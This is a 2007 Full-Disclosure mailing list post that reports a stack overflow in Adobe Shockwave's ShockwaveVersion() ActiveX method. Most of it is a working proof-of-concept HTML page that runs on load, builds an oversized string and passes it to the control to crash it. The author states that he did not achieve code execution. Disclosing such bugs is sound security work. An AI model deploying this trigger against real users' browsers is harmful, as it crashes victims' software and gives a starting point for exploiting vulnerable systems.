[Full-disclosure] Adobe Shockwave ShockwaveVersion() Stack Overflow

Elazar Broad elazarb at earthlink.net
Fri Nov 9 00:38:34 GMT 2007


There is a stack overflow in ShockwaveVersion() function. I have not been able to execute code via this overflow. PoC is as follows:
-----------------------
<html>
 <head>
  <script language="JavaScript" DEFER>
    function Check() {
     var s = "AAAA";
     while (s.length < 768 * 768) s=s+s;
  
     var obj = new ActiveXObject("SWCtl.SWCtl"); //{233C1507-6A77-46A4-9443-F871F945D258}     

     obj.ShockwaveVersion(s);
    }
  </script>

 </head>  
 <body onload="JavaScript: return Check();" />
</html>
-----------------------

Elazar




Full-Disclosure is hosted and sponsored by Secunia.